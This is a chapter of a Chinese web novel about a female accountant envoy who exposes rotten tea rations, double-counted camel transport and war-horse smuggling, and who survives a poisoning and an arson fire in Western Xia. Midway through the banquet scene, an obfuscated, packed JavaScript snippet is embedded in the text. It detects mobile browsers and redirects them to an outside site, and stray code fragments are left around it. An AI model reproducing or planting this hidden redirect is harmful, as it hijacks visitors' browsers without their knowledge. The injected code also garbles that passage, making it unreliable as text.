默认冷灰
24号文字
方正启体

16. 跨境清账

作者:岐风习习本书字数:K更新时间:
    汴京朱雀门的晨雾还没散尽,一支特殊的使团已在城门外整装待发。


    王珩穿着改良的胡服,腰间悬着那面青玉算盘,羊脂玉的珠子在晨光里泛着莹光。十二名女账司骨干立在她身后,人人背着嵌铜的酸枣木算盘,算珠被磨得发亮。


    那是她们在地下书院时,用三年时间练出的包浆。


    “山长,宋廷给的粮饷清单。”


    司马蓁戴着银面具走上前,递来账册:“上等茶砖百斤”“精米二十石”的字样被朱笔圈过,透着一股说不出的怪异。


    苏蘅瞥了一眼,手里的算盘噼啪作响:“按市价折算,这点粮饷只够咱们走到边境。看来汴京的大人,是盼着咱们在半道上饿死。”


    他将算珠归位,指尖点着“茶砖”二字,“尤其是这个,我赌十文钱,里面藏着猫腻。”


    王珩接过账册,指尖抚过纸页上的墨迹,这是三司新吏的笔迹,笔画虚浮,显然是故意为之。她抬头望向城门楼,那里站着几个官员,旧党那顶标志性的乌纱帽在晨雾里若隐若现。


    “出发。”


    她翻身上马,青玉算盘在鞍前轻轻晃动,“到了陈桥镇再验茶砖。”


    车马行至陈桥镇时,苏蘅突然勒住缰绳。他让使团停下,从随行的茶砖里随机挑出三十块,用小刀逐一剖开,第三块砖茶刚裂开,一股霉味就飘了出来,内里的茶梗发黑发黏,还沾着细碎的蛛网。


    “分层抽样验质法。”


    苏蘅举起霉茶示众,声音不大却清晰地传到围观百姓耳中,“三十块样本,二十八块是三年前的陈茶压的,还有两块掺了沙土。宋廷就是用这等货色,打发去西夏查账的使团?”


    人群瞬间炸开了锅,有懂行的茶商凑过来,捏着霉茶直摇头:“这在蜀地只能当燃料,三司竟敢用来充作使团用度?”


    有人认出司马蓁的银面具,突然喊起来:“是银面账吏!当年在汴京拆穿米行骗局的那位!”


    声浪越来越高,随行的李监使吓得缩在马车里,车帘被百姓的石子砸得噼啪响。


    王珩望着骚动的人群,突然想起延州田埂上那些举着账册的农妇,公道从来不是求来的,是算出来、喊出来的。


    “红绡,”


    她转头吩咐,“把验过的茶砖摆成‘账’字。”


    女账司的姑娘们立刻动手,三十块茶砖在官道上拼出个巨大的“账”字,霉斑和沙土成了天然的笔画。过往商队纷纷驻足,有人拿出纸笔记录,有人策马往汴京方向赶。


    这等丑闻,不出三日就能传遍大宋。


    李监使终于从马车里钻出来,脸色惨白如纸:“王……王小娘子,下官这就传信回汴京,让三司补送新茶。”


    王珩没看他,只是让苏蘅重新核账:“记下短缺的数目,按市价三倍折算。将来在西夏查账,就从这笔欠账开始算。”


    进入西夏境内后,戈壁的风像刀子般刮在脸上。


    党项向导骑着骆驼走在最前面,时不时回头张望,喉结上下滚动:“前面就是鬼驼……夜里常能听见骆驼铃铛响,却看不见驼队。”


    “鬼驼?”


    司马蓁的银面具反射着日光,“账上有记载吗?”


    向导从怀里掏出卷残破的羊皮账册,上面用党项文写着“延州之战,调驼千匹运粮”。


    王珩接过账册,指尖触到页边的火烧痕迹,这是拓跋月的字迹!她想起那本随遗骸带回的账册,里面“一驼十用”四个字突然在脑海里清晰起来。


    “苏蘅。”


    她将账册递过去,“按西夏军制,每匹骆驼的负重、日行里程是多少?”


    苏蘅的算盘立刻响起来:“标准是负重三百斤,日行五十里。千匹骆驼的话,单次运输量该是三十万斤,可延州之战的粮耗记录……三百万斤。”


    他突然停住算珠,“除非这些骆驼每天往返十次,否则绝不可能,这是把同一批骆驼重复记账!”


    司马蓁的银面具下发出一声冷笑:“‘一驼十用’,原来如此。拓跋头领是发现了这个才被灭口的。”


    她指着账册上的日期,“每次运粮记录都间隔十天,正好够骆驼往返一次。”


    抵达兴庆府的当晚,西夏幼帝在宫殿设了接风宴。党项贵族们的目光像钉子般钉在女账司身上,尤其是司马蓁的银面具,更是引来窃窃私语。


    王珩假装没看见,只顾着用青玉算盘拨弄桌上的葡萄,每粒葡萄代表十匹骆驼,她要在宴席结束前,算出这些年被虚报的粮饷总数。


    “小娘子。”


    幼帝突然凑过来,小手抓着她的衣袖,“阿姐说,这算盘能算出谁在骗我。”


    他指的是拓跋月,语气里的依赖让人心头发紧。


    王珩刚要开口,就见司马蓁捧着一卷蜀锦账册走过来,银面具下的声音带着压抑的激动:“山长,您看这个。”


    账册上记录着蜀锦与战马的交易,单价高得离谱,且每笔交易的日期都与边境走私案吻合。最奇怪的是,某些锦缎的规格旁,用党项文写着奇怪的符号。


    司马蓁用小刀刮去纸面的浆糊,底下竟露出“秦州”二字。


    “是密码。”


    她的指尖在符号上快速移动,银面具随着动作微微震颤:“这些符号对应着宋境的驿站,指向的正是秦州刺史,他是旧党骨干,当年力主废除青苗法的那位。”


    话音刚落,“咔”的一声轻响,银面具的边缘突然崩裂,露出底下那道疤痕。


    贵族们发出惊呼,幼帝却突然挡在司马蓁身前:“不准笑!阿姐说,脸上有疤的人最勇敢!”


    ……


    王珩的心猛地一沉,秦州刺史手握边境兵权,若他真在走私战马,那大宋的边防就成了笑话。


    她让苏蘅用概率模型推算,发现三年来通过这种方式流入西夏的战马,足够装备一支精锐骑兵,这哪里是走私,分明是通敌。


    夜宴进行到一半,一名侍女端着酒壶走过来,给王珩斟了杯琥珀色的酒。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185349|180492||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    酒液里的倒影微微晃动,王珩刚要举杯,幼帝突然扑过来抱住她的腿:“阿姐说过,宴会上给算账人的酒不能喝!”


    侍女的手一抖,酒杯摔在地上。


    幼帝指着她的袖口:“里面有针!跟害死阿姐的人一样!”


    卫兵立刻上前按住侍女,从她袖中搜出一枚涂着黑漆的毒针。混乱中,王珩瞥见殿外的火光,起初以为是宫灯,直到浓烟顺着门缝灌进来,才惊觉不对劲,那是宋使驿馆的方向!


    “账册!”


    她猛地站起身,青玉算盘在掌心硌出红痕,“我们带的账册全在驿馆!”


    司马蓁率先冲出去,苏蘅带着女账司的姑娘们紧随其后,算珠在奔跑中碰撞,发出急促的脆响。党项贵族们惊慌失措,只有幼帝紧紧抓着王珩的手,小脸上满是泪水:


    “阿姐说,只有你能算清党项的账,只有你能救我们……”


    驿馆的火势已蔓延到屋顶,噼啪作响的火焰吞噬着账册,空气里弥漫着纸灰的味道。


    王珩看着那些被烧焦的纸页飘上天,上面“秦州刺史”“一驼十用”的字迹在火中扭曲,那是她们用血汗换来的证据,是拓跋月用命保住的真相。


    “往火堆里扔算盘!”


    司马蓁突然大喊,将自己的酸枣木算盘扔进火里,算珠遇热爆裂,火星溅落在未燃的账册上,竟烧出一个个小洞,露出底下的夹层。


    王珩立刻明白过来:“大家把算盘都扔进去!算珠里的桐油能助燃,却烧不透夹层!”


    十二面算盘陆续被扔进火里,算珠爆裂的声音像密集的鼓点。果然,被烧焦的账册底下,露出了用羊皮纸写的备份记录,这是她们临行前就做好的准备,算珠里藏着桐油,就是为了应对此刻的焚书之祸。


    “保护羊皮账!”


    王珩的声音被浓烟呛得嘶哑,她看见李监使带着几个宋廷随从站在远处,脸上没有丝毫惊慌,反而带着诡异的笑。


    就在此时,西夏的丞相突然带着卫兵赶来,厉声喝道:“谁准你们在驿馆放火?!”


    他的目光扫过王珩手里的羊皮账,眼神瞬间变得阴鸷。


    王珩将羊皮账塞进幼帝怀里,低声道:“陛下,这是党项的命根子,收好。”


    她转身面对丞相,青玉算盘的珠子被攥得咯咯作响,“丞相大人来得正好,不如一起算算,这把火是谁放的?”


    火光映红了半边天,将每个人的影子拉得很长。王珩知道,这场火不是意外,是秦州刺史的灭口,是宋廷旧党的阻挠,更是西夏内部既得利益者的反扑。但她更清楚,只要羊皮账还在,只要她们这些“账吏”还在,就算烧了驿馆,那些藏在茶马交易里的猫腻,那些用“鬼驼”虚报的粮饷,也迟早会被算清。


    司马蓁捡起地上崩裂的银面具,重新戴在脸上,疤痕从裂缝中露出来,像道正在流血的伤口。


    她走到王珩身边,算盘的铜丝在火光中闪着冷光:“山长,该算下一笔账了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)